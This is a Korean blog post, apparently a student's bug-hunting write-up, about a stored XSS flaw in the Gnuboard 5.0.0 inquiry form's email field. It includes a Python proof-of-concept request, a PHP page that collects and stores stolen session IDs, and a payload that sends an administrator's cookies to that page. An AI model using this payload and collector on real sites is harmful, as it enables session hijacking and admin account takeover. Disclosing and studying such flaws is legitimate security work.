Hacking/Vuln.

그누보드 5.0.0 버전 보안 취약점

2017. 5. 18. 18:39

그누보드 5.0.0 버전 보안 취약점

H3X0R 팀 소속 ch4n3



최근 구구콘 컨퍼런스에 다녀오게 되었는데, 이 때 adm1nkyj님의 발표를 들으면서 나도 버그 헌터가 되고 싶다고 생각하게 되었다. 그래서 취약하다고 생각되는 그누보드 5.0.0 버전부터 취약점을 연구해보게 되었다. 



3일동안 찾았던 것 같다. 기숙사에서도 찾으면서 쉬는 시간 밥먹는 시간 야자시간까지 할애했다. 


생각보다 공략하기 쉬운 곳에 취약점에 존재했다. 

바로 1:1 문의 부분,,




다음 코드는 1:1 문의 부분의 코드이다. 




이 부분에서 아무 여과 없이 사용자가 입력한 정보를 받는다. 카테고리, 제목, 내용, 이름에서는 특정 함수로 사용자가 입력한 정보를 안전하게 처리하는데 qa_hp(전화번호), qa_email(이메일)은 아무런 여과를 거치지 않는다. 


이로써 여기가 취약한 부분이라고 인식할 수 있다. 하지만, 출력하는 과정에서 여과 과정을 거칠 수 있으므로 출력 부분을 보기로 하였다. 




띠용? 아무런 여과를 거치지 않는다. 이로써 취약성이 확인되었다. 




XSS 취약점을 증명하기 위해서 다음과 같은 파이썬 코드를 작성해보았다.

# -*- coding : utf-8 -*-
import requests

cookies = dict(PHPSESSID='ecf96fe7d529a81b75e0bbd3132804c0')

url = 'http://localhost/bbs/qawrite_update.php'
data = {'qa_html': 1,
'qa_category': "회원",
'qa_email': '<script>alert("xss");</script>',
'qa_hp': '010101010101',
'qa_subject': 'Subject is here!',
'qa_content': 'Content is here!'}
r = requests.post(url, data=data, cookies=cookies)


실행해보니 다음과 같은 결과가 발생하였다. 여러번 실행해보니 qa_hp는 INTEGER 형으로 XSS 취약점으로 공략할 수 없다. 





성공했다. 이제 XSS기반의 공격을 모두 실행할 수 있다. 


처음에는 XSS기반의 CSRF 공격을 해보기로 하였다. 하지만, DB에 저장될 때 이메일의 크기를 100바이트로 제한하여 공격하기 쉽지 않았다. 





계획을 변경하였다. CSRF 공격이 아닌, XSS로 admin의 권한을 탈취하는 시나리오를 계획하였다. 


<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Hack</title>
</head>
<body>

<?php
$mysqli = new mysqli('localhost', '####', '####', 'test');

if (isset($_GET['PHPSESSID'])) {

$query = "insert into gnuadmin(sess) values('" . $_GET['PHPSESSID'] . "')";
$result = $mysqli->query($query);

echo "<script>history.back(-1);</script>";
}

if (isset($_POST['id']) && isset($_POST['pw'])) {
if ($_POST['id'] == 'admin' && $_POST['pw'] == 'rudska306') {
$query = "select * from gnuadmin order by 1 asc";
$result = $mysqli->query($query);
$result = mysqli_fetch_array($result);
echo "Here is the admin session : " . $result['sess'];
}

}
?>
<h1 align="center">Login if you want to see the admin session.</h1>
<br><br><br>
<form method="post">

<table align="center">
<tr>
<td>
<input type='text' name='id'>
</td>
<td rowspan="2">
<input type="submit" value="login">
</td>
</tr>
<tr>
<td>
<input type="password" name="pw">
</td>
</tr>
</table>

</form>

</body>
</html>

위와 같은 PHP 어플리케이션을 만들었다. 그리고 이메일 부분에 


<script>location.href='http://localhost/hack.php?PHPSESSID='+document.cookie;</script>


를 대입할 것이다. 




그럼 해킹 공격을 시연해보도록 하겠다. 


















'Hacking > Vuln.' 카테고리의 다른 글

비오비 프로젝트 관련  (0) 2017.10.12
PHP preg_replace RCE vuln.  (0) 2017.08.21
PHP preg_replace() RCE vuln.  (0) 2017.07.03
Naver Stored XSS 취약점  (0) 2017.07.03
Benedu XSS 취약점  (0) 2017.05.25